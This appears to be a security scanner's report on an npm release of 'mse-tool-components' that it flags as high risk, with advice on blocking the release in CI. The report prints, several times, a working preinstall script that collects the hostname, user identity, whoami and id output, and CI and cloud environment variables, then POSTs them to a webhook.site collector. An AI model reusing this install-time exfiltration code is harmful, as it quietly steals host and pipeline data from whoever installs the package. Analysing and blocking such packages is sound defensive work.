Package evidence

[email protected]

Install-time lifecycle script: preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""

BL45High risk2 findings contributing

New Lifecycle Script Vs Previous: preinstall added in 99.99.100 vs 99.99.99: "node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published: 2
First published: May 2026
Publisher: kohliking

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

Inspect tarball Add to CI gate

Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["[email protected]"],"fail_on":"high"}'

Publisherkohliking

Artifact bytes897

Previous version99.99.99

Published2026-05-27T04:21:04.643Z

SHA-2561cb4e4ed66b5120337dc5d9261e7921fdbefad278c593442caad17f510b1c212

Why flagged

What the scanner saw

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

scan error

status

10h agoLast checked

noneRisk

—Score

99.99.100Version

Latest scanner note: error decoding response body

Status history (2 events)

available → scan_error14d ago · risk none · score — · error decoding response body
new → available17d ago · risk high · score 45 · status changed

Evidence

Static findings

1 static · 1 from release diff · showing high-signal first.

Severity	Kind	Path	Detail	Points
high	New Lifecycle Script Vs Previous	package.json	preinstall added in 99.99.100 vs 99.99.99: "node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""	40

Show all 2 findings (low-signal and informational)

Severity	Kind	Path	Detail	Points
high	New Lifecycle Script Vs Previous	package.json	preinstall added in 99.99.100 vs 99.99.99: "node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""	40
low	Install-time lifecycle script	package.json	preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""	5

Manifest

Package metadata

Scripts1

preinstallnode -e " try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} "